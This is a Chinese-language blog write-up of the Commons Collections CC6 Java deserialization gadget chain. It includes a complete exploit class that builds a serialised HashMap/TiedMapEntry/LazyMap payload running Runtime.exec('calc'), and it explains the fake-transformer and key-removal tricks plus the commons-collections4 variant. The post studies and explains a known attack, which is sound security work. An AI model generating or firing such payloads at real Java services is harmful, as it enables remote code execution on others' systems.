java反序列化–cc6

环境:jdk8u65;commons-collections3.2

影响版本:几乎覆盖了jdk1.8所有版本(在未启用jdk.serialFilter的情况下),我目前尝试了jdk8u401是可以执行的

    <dependency>
     <groupId>commons-collections</groupId>
     <artifactId>commons-collections</artifactId>
     <version>3.2</version>
   </dependency>

payload

package commonscollections3;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6 {
   public static void main(String[] args) throws Exception {
       Transformer fakeTransformerransformer = new ChainedTransformer(new Transformer[]{});

       Transformer[] transformers = new Transformer[]{
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
               new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
               new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };

       Map map = new HashMap();
       Map lazyMap = LazyMap.decorate(map, fakeTransformerransformer);
       TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");
       //ysoserial中使用的是HashSet
//       HashSet hashSet = new HashSet(1);
//       hashSet.add(tiedMapEntry);
       //P师傅使用的是HashMap
       Map expMap = new HashMap();
       expMap.put(tiedMapEntry, "valuevalue");

       lazyMap.remove("keykey");  //如果不加这个就无法弹出计算器

       //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
       Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
       field.setAccessible(true);
       field.set(fakeTransformerransformer, transformers);

       // 序列化
       ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
       out.writeObject(expMap);
       out.close();

       // 反序列化
       ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
       in.readObject();
       in.close();
  }
}

cc6链和cc1LazyMap链类似,cc1LazyMap链是使用AnnotationInvocationHandler.invoke()方法来调用LazyMap.get()方法的,但在jdk8u71以后AnnotationInvocationHandler.readObject 的逻辑变化了,所以我们需要寻找新的在jdk高版本中可以利用的链。cc6使用的是TiedMapEntry。

还有一点不一样的是fakeTransformer,具体作用下文会讲到,这里先跟链子

Transformer fakeTransformerransformer = new ChainedTransformer(new Transformer[]{});

TiedMapEntry.getValue()

TiedMapEntry类的getValue方法调用了get,只需初始化map即可。

payload中将lazymap对象传入了TiedMapEntry构造函数,将map初始化成了LazyMap对象

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");

TiedMapEntry.hashCode()

该类的hashCode方法调用了this.getValue(),this指向是TiedMapEntry对象,接下来寻找谁能调用TiedMapEntry.hashCode()

public int hashCode() {
   Object value = this.getValue();
   return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

这里使用HashSet和HashMap都可以,ysoserial中使用的是HashSet,P神使用的是HashMap。这里都简单介绍下

HashMap

HashMap.hash()

这里调用了key.hashCode(),这里的key就是put进去的key值

HashMap.readObject()

刚好HashMap.readObject()方法会调用到hash方法,至此整个cc6链结束

private void readObject(java.io.ObjectInputStream s)
       throws IOException, ClassNotFoundException {
...
       // Read the keys and values, and put the mappings in the HashMap
       for (int i = 0; i < mappings; i++) {
           @SuppressWarnings("unchecked")
               K key = (K) s.readObject();
           @SuppressWarnings("unchecked")
               V value = (V) s.readObject();
           putVal(hash(key), key, value, false, false);
      }
  }
}

HashSet

使用HashSet的payload如下,new了一个HashSet对象,将tiedMapEntry传入add函数

HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);

跟进HashSet构造函数,new了一个HashMap对象给到map

而这里的add仅仅是为了在序列化时写入tiedMapEntry对象,在之后的反序列化可以调用

hashSet.add(tiedMapEntry);

HashSet.readObject()

以下为HashSet.readObjet()部分代码,当payload被反序列化时:

s.readInt() 读取元素个数(size = 1),因为只添加了一个 TiedMapEntry。

for 循环执行一次(因为 size = 1)。

s.readObject() 读取序列化数据中的第一个元素。

  • 这个元素就是你在 hashSet.add(tiedMapEntry) 时存进去的 TiedMapEntry。
  • 序列化时保存了 TiedMapEntry,反序列化时自然还原为 TiedMapEntry。

e 被赋值为 TiedMapEntry,然后执行 map.put(e, PRESENT)。

private void readObject(java.io.ObjectInputStream s)
   throws java.io.IOException, ClassNotFoundException {
  ....
   s.defaultReadObject();
   int size = s.readInt();
   // Read in all elements in the proper order.
   for (int i=0; i<size; i++) {
       @SuppressWarnings("unchecked")
           E e = (E) s.readObject();
       map.put(e, PRESENT);
  }
}

因为此时的map为Hashmap对象,所以之后调用HashMap.put–>HashMap.hash–>TiedMapEntry.hashCode…..,从而执行代码

HashMap.put()的意外触发

也许还有师傅记得前面的fakeTransformers,这里的fakeTransformers到底是干嘛的?

如果在构造 LazyMap 时直接使用 transformers,那么在本地运行代码时,任何对 LazyMap.get() 的调用(比如 lazyMap.put() 或其他会调用LazyMap.hash方法的函数)都会立即触发 transformers,导致计算器在序列化之前就弹出。

而fakeTransformers解决了我们这个问题

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(fakeTransformerransformer, transformers);

先传入一个假的数组,让代码不执行任何payload,然后再通过反射修改ChainedTransformer类里面的iTransformers值,改为我们的payload,这样就不会意外触发了

LazyMap.get()中key的包含问题

最后还有一个问题,那就是这里的key为什么必须删掉?

outerMap.remove("keykey");

来到LazyMap.get()方法,这里有一个if条件,如果此时map里面包含了传进来的这个key,那就会直接返回值,不会调用transform方法了,所以我们要避免这样的情况

gadget

HashMap

HashMap.readObject()
   HashMap.hash()
        TiedMapEntry.hashCode()
           TiedMapEntry.getValue()
               LazyMap.get()
                   ChainedTransformer.transform()
                       InvokerTransformer.transform()
                           Runtime.exec()

HashSet

HashSet.readObject()
   HashMap.put()
  HashMap.hash()
            TiedMapEntry.hashCode()
               TiedMapEntry.getValue()
                   LazyMap.get()
                       ChainedTransformer.transform()
                           InvokerTransformer.transform()
                               Runtime.exec()

commons-collections4

      <dependency>
         <groupId>org.apache.commons</groupId>
         <artifactId>commons-collections4</artifactId>
         <version>4.0</version>
     </dependency>

在commons-collections4的版本中,我们只需要将decorate方法替换成lazyMap方法即可,效果都一样,只是函数名字不同

commons-collections3中的decorate方法

    public static Map decorate(Map map, Transformer factory) {
       return new LazyMap(map, factory);
  }

commons-collections4中的lazyMap方法

    public static <V, K> LazyMap<K, V> lazyMap(Map<K, V> map, Transformer<? super K, ? extends V> factory) {
       return new LazyMap(map, factory);
  }
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇